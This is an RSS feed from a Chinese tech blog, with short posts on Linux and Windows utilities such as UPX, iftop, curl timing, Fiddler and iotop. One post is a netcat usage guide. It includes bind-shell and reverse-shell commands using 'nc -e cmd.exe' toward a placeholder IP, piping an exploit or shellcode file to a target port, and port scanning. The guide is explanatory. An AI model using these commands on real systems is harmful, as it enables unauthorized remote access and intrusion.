<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0">
	<channel>
		<title>meisw's blog</title>
		<link>http://meisw.wdlinux.cn//</link>
		<description>工作,学习,生活,这里将会有一些记录.     备用域名:http://meisw.wdlinux.cn</description>
		<copyright>Copyright (C) 2004 Security Angel Team [S4T] All Rights Reserved.</copyright>
		<generator>SaBlog-X Version 1.6 Build 20080806</generator>
		<lastBuildDate>Sun, 20 Sep 2026 23:57:17 +0000</lastBuildDate>
		<ttl>30</ttl>
		<item>
			<guid>http://meisw.wdlinux.cn//show-378-1.html</guid>
			<title>linux rar</title>
			<author>admin</author>
			<description><![CDATA[<p><a href="http://www.rarsoft.com/rar/rarlinux-3.9.3.tar.gz">http://www.rarsoft.com/rar/rarlinux-3.9.3.tar.gz</a></p>
<p><a href="http://www.rarsoft.com/">http://www.rarsoft.com/</a></p>]]></description>
			<link>http://meisw.wdlinux.cn//show-378-1.html</link>
			<category domain="http://meisw.wdlinux.cn//category-24-1.html">工具箱</category>
			<pubDate>2011-01-15 17:41</pubDate>
		</item>
		<item>
			<guid>http://meisw.wdlinux.cn//show-350-1.html</guid>
			<title>UPX使用手册,简介(转)</title>
			<author>admin</author>
			<description><![CDATA[<p>UPX 是一款先进的可执行程序文件压缩器 <br />
压缩过的可执行文件体积缩小50%-70% <br />
这样减少了磁盘占用空间、网络上传下载的时间和其它分布以及存储费用。 <br />
<br />
通过 UPX 压缩过的程序和程序库完全没有功能损失 <br />
和压缩之前一样可正常地运行 <br />
对于支持的大多数格式没有运行时间或内存的不利后果。 <br />
<br />
UPX 支持许多不同的可执行文件格式 <br />
包含 Windows 95/98/ME/NT/2000/XP/CE 程序和动态链接库、DOS 程序、Linux 可执行文件和核心。 <br />
<br />
参数说明:<br />
Usage: upx [-123456789dlthVL] [-qvfk] [-o file] file..</p>
<p>Commands:<br />
&nbsp;&nbsp; -1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; compress faster&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -9&nbsp;&nbsp;&nbsp;&nbsp; compress better<br />
&nbsp;&nbsp; -d&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; decompress&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -l&nbsp;&nbsp;&nbsp;&nbsp; list compressed file<br />
&nbsp;&nbsp; -t&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; test compressed file&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -V&nbsp;&nbsp;&nbsp;&nbsp; display version number<br />
&nbsp;&nbsp; -h&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; give more help&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -L&nbsp;&nbsp;&nbsp;&nbsp; display software license<br />
Options:<br />
&nbsp;&nbsp; -q&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; be quiet&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -v&nbsp;&nbsp;&nbsp;&nbsp; be verbose<br />
&nbsp;&nbsp; -oFILE write output to 'FILE'<br />
&nbsp;&nbsp; -f&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; force compression of suspicious files<br />
&nbsp;&nbsp; -k&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; keep backup files<br />
file..&nbsp;&nbsp;&nbsp; executables to (de)compress</p>
<p>Type 'upx --help' for more detailed help.</p>
<p>UPX comes with ABSOLUTELY NO WARRANTY; for details visit <a href="http://upx.sf.net/">http://upx.sf.net</a></p>]]></description>
			<link>http://meisw.wdlinux.cn//show-350-1.html</link>
			<category domain="http://meisw.wdlinux.cn//category-24-1.html">工具箱</category>
			<pubDate>2010-12-18 20:16</pubDate>
		</item>
		<item>
			<guid>http://meisw.wdlinux.cn//show-266-1.html</guid>
			<title>使用ultraiso制作linux u盘安装盘</title>
			<author>admin</author>
			<description><![CDATA[<p>将光盘镜像文件.iso用ultraiso打开</p>
<p>&nbsp;</p>
<p>选择 启动光盘 菜单</p>
<p>&nbsp;</p>
<p>选择 写入硬盘映像 选项</p>
<p>&nbsp;</p>
<p>选择硬盘驱动器 即U盘所在盘符</p>
<p>&nbsp;</p>
<p>选择写入方式，usb-zip，不行的话也可以试试其他选项。</p>
<p>&nbsp;</p>
<p>写入完毕后，就可以使用U盘启动电脑，当成光盘安装程序了。</p>
<p>&nbsp;</p>
<p>前提，电脑要支持usb-zip启动。</p>]]></description>
			<link>http://meisw.wdlinux.cn//show-266-1.html</link>
			<category domain="http://meisw.wdlinux.cn//category-24-1.html">工具箱</category>
			<pubDate>2010-07-08 15:12</pubDate>
		</item>
		<item>
			<guid>http://meisw.wdlinux.cn//show-263-1.html</guid>
			<title>Maatkit是非常不错的mysql管理工具</title>
			<author>admin</author>
			<description><![CDATA[<div>Maatkit是非常不错的mysql管理工具，网络评价非常不错。包含以下主要工具：<br />
1、mk-table-checksum 检查主从表是否一致的有效工具<br />
2、mk-table-sync 有效保证表一致的工具，不必重载从表而能够保证一致。<br />
3、mk-visual-explain&nbsp;&nbsp;exlpain解释工具<br />
4、mk-heartbeat 主从同步的监视工具，能够给出从落后于主多少<br />
5、mk-parallel-dump 多线程的mysqldump工具<br />
6、mk-parallel-restore 多线程的表回复工具<br />
7、mk-query-profiler 查询检测分析工具<br />
8、mk-deadlock-logger 死锁的记录工具，支持innodb<br />
9、mk-duplicate-key-checker key侦测工具<br />
10、mk-show-grants 权限管理显示工具<br />
11、mk-slave-restart slave的检测和重启工具<br />
12、mk-slave-delay slave delay replication 的工具<br />
13、mk-slave-prefetch&nbsp;&nbsp;This tool implements Paul Tuckfield&rsquo;s famous&ldquo;oracle&rdquo; algorithm to read ahead of the slave SQL thread in the relaylogs, rewriting queries as SELECT and executing them to warm theslave&rsquo;s caches. This can help an I/O-bound slave SQL thread run fasterunder some
<p>&nbsp;</p>
<ul>
    <li>项目主页： <a href="http://www.maatkit.org/" target="_blank">http://www.maatkit.org/</a></li>
    <li>文档地址： <a href="http://www.maatkit.org/doc/" target="_blank">http://www.maatkit.org/doc/</a></li>
    <li>下载地址： <a href="http://code.google.com/p/maatkit/" target="_blank">http://code.google.com/p/maatkit/</a></li>
</ul>
</div>]]></description>
			<link>http://meisw.wdlinux.cn//show-263-1.html</link>
			<category domain="http://meisw.wdlinux.cn//category-24-1.html">工具箱</category>
			<pubDate>2010-06-28 15:22</pubDate>
		</item>
		<item>
			<guid>http://meisw.wdlinux.cn//show-254-1.html</guid>
			<title>屏幕录制软件</title>
			<author>admin</author>
			<description><![CDATA[<p>在有很多屏幕录制的工具，比如&ldquo;屏幕录像专家&rdquo;等，这些工具都是收费的，而且用起来很麻烦，所以我向大家推荐camstudio，这是一款免费的屏幕录制工具，大小才1M多，但是功能却非常的全，真是佩服他的作者了。<br />
网站地址：<a href="http://www.camstudio.org/">http://www.camstudio.org/<br />
</a>下载地址：<span class="style4" twffan="done"><span class="style8" twffan="done"><a href="http://www.camstudio.org/CamStudio20.exe" rel="nofollow"><strong><font face="Tahoma">http://www.camstudio.org/CamStudio20.exe</font></strong></a></span></span></p>
<p>Wink</p>
<p>&nbsp;</p>
<p>在很多时候，我们需要将在 Linux 桌面上的操作过程录制下来，比如制作屏幕演示、视频教学等。这里将介绍在 Linux 下值得使用的 5 个屏幕录像软件，包括 Istanbul、Wink、Xvidcap、Vnc2swf、Recordmydesktop，希望对有此需求的朋友提供参考。<br />
<strong>Istanbul</strong><br />
使用 Istanbul，你可以将 Linux 屏幕上的一切操作过程录制下来。Istanbul 既能够按照你的需要录制全屏、区域或者窗口，也可以录制声音和鼠标指针，最终会生成 Ogg Theora 格式的视频文件。<br />
下载网址：http://linux.softpedia.com/get/Utilities/Istanbul-12358.shtml <strong>Wink</strong><br />
Wink 是录制 Flash 视频演示的极好工具，除支持 Linux 平台外，也能够在 Windows 系统上运行。你可以使用 Wink 为所录制的文件添加文字说明和声音旁白。<br />
下载地址：http://debugmode.com/wink/download.php <strong>Xvidcap </strong><br />
Xvidcap 支持生成 avi、mpeg、asf、flv、swf、mov 等视频格式，可以应用在各种场合。录制的区域也可以随意选择，显得非常方便。<br />
下载地址：http://download.chip.eu/cn/xvidcap-1.1.5_759489.html <strong>Vnc2swf </strong><br />
Vnc2swf 是继 Wink 外适合在 Linux 中使用的另一个 Flash 录制工具，但比 Wink 稍微要难用点，而且也没有 Wink 功能全面。<br />
下载地址：http://linux.softpedia.com/get/Multimedia/Graphics/vnc2swf-pyvnc2swf-19293.shtml <strong>Recordmydesktop </strong><br />
Recordmydesktop 功能主要有：可录制全屏、窗口，也可以录制选择的区域；除了能够录制视频的基本功能之外，还能够录制音频；有一些录制的参数可以调整；生成的视频格式为 ogg。它默认提供 GTK+ 界面，另外也有一个适合 KDE 桌面环境的 reKordmydesktop。<br />
下载地址：http://linux.softpedia.com/get/Multimedia/Video/recordMyDesktop-15059.shtml</p>]]></description>
			<link>http://meisw.wdlinux.cn//show-254-1.html</link>
			<category domain="http://meisw.wdlinux.cn//category-24-1.html">工具箱</category>
			<pubDate>2010-05-27 08:35</pubDate>
		</item>
		<item>
			<guid>http://meisw.wdlinux.cn//show-241-1.html</guid>
			<title>在线制作ico图标的网站</title>
			<author>admin</author>
			<description><![CDATA[<p>网址：<a href="http://tools.dynamicdrive.com/favicon/?from=oschina.net" target="_blank">http://tools.dynamicdrive.com/favicon/</a></p>
<p>更多离线的ico图标制作工具请看<a href="http://www.oschina.net/project/tag/223/icontool">这里</a>。</p>
<p>你只需要有一个 GIF 或者 PNG 的方形图片，该网站就可以帮你生成效果还不错的 ico 图标，效果比我在国内找的一些网站好多了，支持透明背景。</p>]]></description>
			<link>http://meisw.wdlinux.cn//show-241-1.html</link>
			<category domain="http://meisw.wdlinux.cn//category-24-1.html">工具箱</category>
			<pubDate>2010-04-09 12:31</pubDate>
		</item>
		<item>
			<guid>http://meisw.wdlinux.cn//show-232-1.html</guid>
			<title>sysstat</title>
			<author>admin</author>
			<description><![CDATA[<p><a href="http://pagesperso-orange.fr/sebastien.godard/faq.html">http://pagesperso-orange.fr/sebastien.godard/faq.html</a></p>]]></description>
			<link>http://meisw.wdlinux.cn//show-232-1.html</link>
			<category domain="http://meisw.wdlinux.cn//category-24-1.html">工具箱</category>
			<pubDate>2009-11-11 11:01</pubDate>
		</item>
		<item>
			<guid>http://meisw.wdlinux.cn//show-230-1.html</guid>
			<title>systat命令监测网络流量</title>
			<author>admin</author>
			<description><![CDATA[<p>systat命令监测网络流量</p>
<p>使用方法为:<br />
systat -if 3</p>
<p><a href="http://pagesperso-orange.fr/sebastien.godard/download.html">http://pagesperso-orange.fr/sebastien.godard/download.html</a></p>]]></description>
			<link>http://meisw.wdlinux.cn//show-230-1.html</link>
			<category domain="http://meisw.wdlinux.cn//category-24-1.html">工具箱</category>
			<pubDate>2009-09-28 17:52</pubDate>
		</item>
		<item>
			<guid>http://meisw.wdlinux.cn//show-229-1.html</guid>
			<title>iftop 流量监测</title>
			<author>admin</author>
			<description><![CDATA[<p>iftop</p>
<p>iftop 官方网站:<br />
<a href="http://www.ex-parrot.com/~pdw/iftop/">http://www.ex-parrot.com/~pdw/iftop/</a></p>
<p>安装iftop，，必须先安装libpcap<br />
<a href="http://www.tcpdump.org/release/">http://www.tcpdump.org/release/</a></p>
<p>wget <a href="http://www.tcpdump.org/release/libpcap-0.9.8.tar.gz">http://www.tcpdump.org/release/libpcap-0.9.8.tar.gz</a><br />
tar -zxvf libpcap-0.9.8.tar.gz</p>
<p>cd libpcap-0.9.8<br />
./configure<br />
make;make install</p>
<p>pcap安装完成，再来安装iftop<br />
wget <a href="http://www.ex-parrot.com/~pdw/iftop/download/iftop-0.17.tar.gz">http://www.ex-parrot.com/~pdw/iftop/download/iftop-0.17.tar.gz</a><br />
tar zxvf iftop-0.17.tar.gz <br />
cd iftop-0.17<br />
./configure<br />
make;make install</p>
<p><br />
[root@localhost libpcap-1.0.0]# make<br />
gcc -O2 -fPIC -I.&nbsp; -DHAVE_CONFIG_H&nbsp; -D_U_=&quot;__attribute__((unused))&quot; -c ./pcap-linux.c<br />
gcc -O2 -fPIC -I.&nbsp; -DHAVE_CONFIG_H&nbsp; -D_U_=&quot;__attribute__((unused))&quot; -c ./pcap-usb-linux.c<br />
gcc -O2 -fPIC -I.&nbsp; -DHAVE_CONFIG_H&nbsp; -D_U_=&quot;__attribute__((unused))&quot; -c ./fad-getad.c<br />
In file included from ./fad-getad.c:67:<br />
/usr/include/linux/if_packet.h:52: error: expected specifier-qualifier-list before '__u32'<br />
make: *** [fad-getad.o] Error 1</p>
<p>A:<br />
将<br />
#include &lt;linux/types.h&gt; <br />
加入到<br />
/usr/include/linux/if_packet.h<br />
的最顶端.</p>]]></description>
			<link>http://meisw.wdlinux.cn//show-229-1.html</link>
			<category domain="http://meisw.wdlinux.cn//category-24-1.html">工具箱</category>
			<pubDate>2009-09-28 17:18</pubDate>
		</item>
		<item>
			<guid>http://meisw.wdlinux.cn//show-228-1.html</guid>
			<title>ifstat流量监测</title>
			<author>admin</author>
			<description><![CDATA[<p><a href="http://gael.roualland.free.fr/ifstat/">http://gael.roualland.free.fr/ifstat/</a></p>
<p>http://gael.roualland.free.fr/ifstat/ifstat-1.1.tar.gz<br />
&nbsp;&nbsp;tar xzvf ifstat-1.1.tar.gz<br />
&nbsp;&nbsp;cd ifstat-1.1<br />
&nbsp;&nbsp;./configure<br />
&nbsp;&nbsp;make <br />
&nbsp;&nbsp;make install<br />
然后 man ifstat <br />
-t 显示时间 格式:<font color="#000066">HH:MM:SS&nbsp; &nbsp;</font> <br />
-i 指定的网卡 ,如果有多块网卡 以&quot;,&quot;分隔<br />
-T 显示所有接口的带宽.<br />
<font color="#000066"># ifstat -t -i&nbsp;eth0 -T&nbsp;&nbsp;&nbsp; </font></p>]]></description>
			<link>http://meisw.wdlinux.cn//show-228-1.html</link>
			<category domain="http://meisw.wdlinux.cn//category-24-1.html">工具箱</category>
			<pubDate>2009-09-28 16:47</pubDate>
		</item>
		<item>
			<guid>http://meisw.wdlinux.cn//show-223-1.html</guid>
			<title>linux下常用命令之nc</title>
			<author>admin</author>
			<description><![CDATA[<p>nc是一款很不错的网络检测工具，以下是详细使用。<br />
'nc.exe -h'即可看到各参数的使用方法。 <br />
基本格式：nc [-options] hostname port[s] [ports] ... <br />
　　 nc -l -p port [options] [hostname] [port] <br />
-d 后台模式 <br />
-e prog 程序重定向，一旦连接，就执行 [危险!!] <br />
-g gateway source-routing hop point[s], up to 8 <br />
-G num source-routing pointer: 4, 8, 12, ... <br />
-h 帮助信息 <br />
-i secs 延时的间隔 <br />
-l 监听模式，用于入站连接 <br />
-L 连接关闭后,仍然继续监听 <br />
-n 指定数字的IP地址，不能用hostname <br />
-o file 记录16进制的传输 <br />
-p port 本地端口号 <br />
-r 随机本地及远程端口 <br />
-s addr 本地源地址 <br />
-t 使用TELNET交互方式 <br />
-u UDP模式 <br />
-v 详细输出--用两个-v可得到更详细的内容 <br />
-w secs timeout的时间 <br />
-z 将输入输出关掉--用于扫描时 <br />
端口的表示方法可写为M-N的范围格式。<br />
1)连接到远程主机<br />
格式：nc -nvv 192.168.x.x 80 <br />
讲解：连到192.168.x.x的TCP80端口 <br />
2)监听本地主机<br />
格式：nc -l -p 80 <br />
讲解：监听本机的TCP80端口 <br />
3)扫描远程主机<br />
格式：nc -nvv -w2 -z 192.168.x.x 80-445 <br />
讲解：扫描192.168.x.x的TCP80到TCP445的所有端口 <br />
4)REMOTE主机绑定SHELL，例子： <br />
格式：nc -l -p 5354 -t -e c:\winnt\system32\cmd.exe <br />
讲解：绑定REMOTE主机的CMDSHELL在REMOTE主机的TCP5354端口 <br />
5)REMOTE主机绑定SHELL并反向连接，例子： <br />
格式：nc -t -e c:\winnt\system32\cmd.exe 192.168.x.x 5354 <br />
讲解：绑定REMOTE主机的CMDSHELL并反向连接到192.168.x.x的TCP5354端口 <br />
以上为最基本的几种用法（其实NC的用法还有很多， <br />
当配合管道命令&quot;|&quot;与重定向命令&quot;&lt;&quot;、&quot;&gt;&quot;等等命令功能更强大......）。 <br />
6)作攻击程序用，例子： <br />
格式1：type.exe c:\exploit.txt|nc -nvv 192.168.x.x 80 <br />
格式2：nc -nvv 192.168.x.x 80 &lt; c:\exploit.txt <br />
讲解：连接到192.168.x.x的80端口，并在其管道中发送'c:\exploit.txt'的内容(两种格式确有相同的效果，真是有异曲同工之妙:P) <br />
附：'c:\exploit.txt'为shellcode等 <br />
7)作蜜罐用[1]，例子： <br />
格式：nc -L -p 80 <br />
讲解：使用'-L'(注意L是大写)可以不停地监听某一个端口，直到ctrl+c为止 <br />
8)作蜜罐用[2]，例子： <br />
格式：nc -L -p 80 &gt; c:\log.txt <br />
讲解：使用'-L'可以不停地监听某一个端口，直到ctrl+c为止，同时把结果输出到'c:\log.txt'中，如果把&lsquo;&gt;' <br />
　 改为&lsquo;&gt;&gt;'即可以追加日志 <br />
附：'c:\log.txt'为日志等 <br />
9)作蜜罐用[3]，例子： <br />
格式1：nc -L -p 80 &lt; c:\honeypot.txt <br />
格式2：type.exe c:\honeypot.txt|nc -L -p 80 <br />
讲解：使用'-L'可以不停地监听某一个端口，直到ctrl+c为止，并把'c:\honeypot.txt'的内容&lsquo;送'入其管道中！<br />
10)备份档案<br />
A机的资料夹 /data备份到B主机的backup.tgz<br />
源主机: tar czf - work|nc -l -c -p 1234 <br />
目的主机: nc 192.168.0.1 1234 &gt;a.tgz<br />
或<br />
A:tar -zcf data|nc -l -p 4444<br />
B:nc a 4444 &gt;backup.tgz<br />
传完后ctrl+c中断连接,这样A主机不会生成档案直接传到了backup.tgz,缺点就是不知道啥时候传完,嘿嘿</p>]]></description>
			<link>http://meisw.wdlinux.cn//show-223-1.html</link>
			<category domain="http://meisw.wdlinux.cn//category-24-1.html">工具箱</category>
			<pubDate>2009-08-18 10:39</pubDate>
		</item>
		<item>
			<guid>http://meisw.wdlinux.cn//show-219-1.html</guid>
			<title>使用 cURL 度量 Web 站点的响应时间</title>
			<author>admin</author>
			<description><![CDATA[<table cellspacing="0" cellpadding="0" width="85%" border="0">
    <tbody>
        <tr>
            <td class="code-outline">
            <pre class="displaycode">$ curl -o /dev/null -s -w %{time_connect}:%{time_starttransfer}:%{time_total}     http://www.canada.com 0.081:0.272:0.779</pre>
            </td>
        </tr>
    </tbody>
</table>
<p>清单 1 给出对一个流行的新闻站点执行 <font face="Tahoma"><code>curl</code> 命令的情况。输出通常是 HTML 代码，通过 <code>-o</code> 参数发送到 <code>/dev/null</code>。<code>-s</code> 参数去掉所有状态信息。<code>-w</code> 参数让 <code>curl</code> 写出表 1 列出的计时器的状态信息：<br />
</font><a title="table1" jquery1249437482093="3" name="table1"></a><strong>表 1. curl 使用的计时器</strong></p>
<table class="data-table-1" cellspacing="0" cellpadding="0" width="85%" summary="Timers" border="0">
    <tbody>
        <tr>
            <th scope="col">计时器</th>
            <th scope="col">描述</th>
        </tr>
        <tr>
            <th class="tb-row" scope="row">time_connect</th>
            <td>建立到服务器的 TCP 连接所用的时间</td>
        </tr>
        <tr>
            <th class="tb-row" scope="row">time_starttransfer</th>
            <td>在发出请求之后，Web 服务器返回数据的第一个字节所用的时间</td>
        </tr>
        <tr>
            <th class="tb-row" scope="row">time_total</th>
            <td>完成请求所用的时间</td>
        </tr>
    </tbody>
</table>
<p>这些计时器都相对于事务的起始时间，甚至要先于 Domain Name Service（DNS）查询。因此，在发出请求之后，Web 服务器处理请求并开始发回数据所用的时间是 0.272 &ndash; 0.081 = 0.191 秒。客户机从服务器下载数据所用的时间是 0.779 &ndash; 0.272 = 0.507 秒。</p>
<p>通过观察 <font face="Tahoma"><code>curl</code> 数据及其随时间变化的趋势，可以很好地了解站点对用户的响应性。</font></p>
<p>当然，Web 站点不仅仅由页面组成。它还有图像、JavaScript 代码、CSS 和 cookie 要处理。<font face="Tahoma"><code>curl</code> 很适合了解单一元素的响应时间，但是有时候需要了解整个页面的装载速度。</font></p>
<p>&nbsp;</p>
<p><span style="font-size: small"><font size="2">这里介绍一个使用curl监控页面可用性的方法。</font></span></p>
<p><span style="font-size: small"><font size="2">可以使用下面的命令，来采集页面的状态码。如果这条命令返回结果为200，说明服务正常。如果返回的是其他的页面，说明异常。</font></span></p>
<p><strong><span style="font-size: small"><font size="2">curl -o /dev/null -s -w %{http_code} http://zys.8800.org/</font></span></strong></p>
<p><strong><span style="font-size: small"><font size="2">-o 参数，是把下载的所有内容都重定向到/dev/null，-s命令，是屏蔽了curl本身的输出，而-w参数，是根据我们自己的需要，自定义了curl的输出格式。</font></span></strong></p>
<p><span style="font-size: small"><font size="2">使用这条命令，再配合邮件和短信，就可以实现对页面的可用性监控。将这个程序部署在全国各地的机器上，就可以对cdn网络进行可用性监控。</font></span></p>]]></description>
			<link>http://meisw.wdlinux.cn//show-219-1.html</link>
			<category domain="http://meisw.wdlinux.cn//category-24-1.html">工具箱</category>
			<pubDate>2009-08-05 11:14</pubDate>
		</item>
		<item>
			<guid>http://meisw.wdlinux.cn//show-212-1.html</guid>
			<title>smem: 内存占用报告</title>
			<author>admin</author>
			<description><![CDATA[<p>smem 能够为你报告内存的占用情况，提供 PID、User、Command、Swap、USS、PSS、RSS 等信息。除了一般的文本信息报告外，smem 也可以生成条状或饼状图。</p>
<p>通过 smem --help 可以获得它的使用说明。</p>
<p>smem 要求 Kernel 2.6.27/Python 2.4 及以上版本、matplotlib 库。</p>
<p><a href="http://www.selenic.com/smem/"><font color="#3366cc">smem</font></a></p>]]></description>
			<link>http://meisw.wdlinux.cn//show-212-1.html</link>
			<category domain="http://meisw.wdlinux.cn//category-24-1.html">工具箱</category>
			<pubDate>2009-05-07 16:21</pubDate>
		</item>
		<item>
			<guid>http://meisw.wdlinux.cn//show-206-1.html</guid>
			<title>IE下查看header的软件Fiddler</title>
			<author>admin</author>
			<description><![CDATA[<p>官方网站 <a href="http://www.fiddler2.com/">http://www.fiddler2.com/</a></p>
<p>HTTP调试工具：Fiddler介绍一（翻译）(原文地址：http://msdn.microsoft.com/library/default.asp?url=/library/en-us/dnwebgen/html/IE_IntroFiddler.asp)</p>
<p>这个工具我已经使用比较长时间了，对我的帮助也挺大，今天我翻译的微软的文章，让更多的朋友都来了解这个不错的工具，也是我第一次翻译文章，不恰当之处请大家大家多多指正。<br />
介绍：</p>
<p>你是不是曾经疑惑过你的web程序和IE是如何交互的？你是不是遇到过一些奇怪的而你又无法解决的性能瓶颈？你是不是对那些发送给服务器端的cookie 和那些你下载下来的被标记为可缓存的内容感到好奇？</p>
<p>Fiddler官方网站及下载地址：http://www.fiddlertool.com/Fiddler/dev/</p>
<p>微软的Fiddler能够帮助你回答以上的问题，不但如此，它还是一个http调试代理，它能 够记录所有的你电脑和互联网之间的http通讯，Fiddler 可以也可以让你检查所有的http通讯，设置断点，以及Fiddle 所有的&ldquo;进出&rdquo;的数据（指cookie,html,js,css等文件，这些都可以让你胡乱修改的意思）。 Fiddler 要比其他的网络调试器要更加简单，因为它仅仅暴露http通讯还有提供一个用户友好的格式。<br />
Fiddler 包含一个简单却功能强大的基于JScript .NET 事件脚本子系统，他非常灵活性非常棒，可以支持众多的http调试任务。Fiddler 是用C#写出来的。<br />
。。。。。接下来是一大段废话，关于如何安装的，只要一路next，就可以了。这段话我就跳过，直接切入正题了。</p>
<p>Running Fiddler</p>
<p>当你启动了Fiddler，程序将会把自己作为一个微软互联网服务的系统代理中去。你可以通过检查代理设置对话框来验证Fiddler是被正确地截取了web请求。操作是这样的：点击IE设置，工具，局域网设置，最后点击高级。</p>]]></description>
			<link>http://meisw.wdlinux.cn//show-206-1.html</link>
			<category domain="http://meisw.wdlinux.cn//category-24-1.html">工具箱</category>
			<pubDate>2009-04-14 13:39</pubDate>
		</item>
		<item>
			<guid>http://meisw.wdlinux.cn//show-187-1.html</guid>
			<title>nload</title>
			<author>admin</author>
			<description><![CDATA[<p><a href="http://www.roland-riegel.de/nload/index.html">http://www.roland-riegel.de/nload/index.html</a></p>
<p>&nbsp;</p>
<p>安装 tar zxvf ...,configure</p>
<p>checking for netinet/in.h... yes<br />
configure: error: ncurses library or development files not found. ncurses is required for nload.</p>
<p>安装 ncurses-devel</p>
<p>继续 make;make install,完成</p>
<p>install nload<br />
checking for xlC... no<br />
checking for C++ compiler default output file name...<br />
configure: error: C++ compiler cannot create executables<br />
See `config.log' for more details.</p>
<p>yum install gcc-c++ libstdc++ libstdc++-devel</p>]]></description>
			<link>http://meisw.wdlinux.cn//show-187-1.html</link>
			<category domain="http://meisw.wdlinux.cn//category-24-1.html">工具箱</category>
			<pubDate>2009-03-17 16:39</pubDate>
		</item>
		<item>
			<guid>http://meisw.wdlinux.cn//show-185-1.html</guid>
			<title>Iotop: I/O 监视器</title>
			<author>admin</author>
			<description><![CDATA[<p>Iotop 是一个用来监视磁盘 I/O 使用状况的 top 类工具。如下图所示，Iotop 具有与 top 相似的 UI，其中包括 PID、用户、I/O、进程等相关信息。</p>
<p>Iotop 使用 Python 语言编写而成，要求 Python 2.5（及以上版本）和 Linux kernel 2.6.20（及以上版本）。</p>
<p>Iotop 提供有源代码及 RPM 包，可从其官方主页下载。</p>
<p><a href="http://guichaz.free.fr/iotop/">http://guichaz.free.fr/iotop/</a></p>]]></description>
			<link>http://meisw.wdlinux.cn//show-185-1.html</link>
			<category domain="http://meisw.wdlinux.cn//category-24-1.html">工具箱</category>
			<pubDate>2009-03-17 09:50</pubDate>
		</item>
	</channel>
</rss>
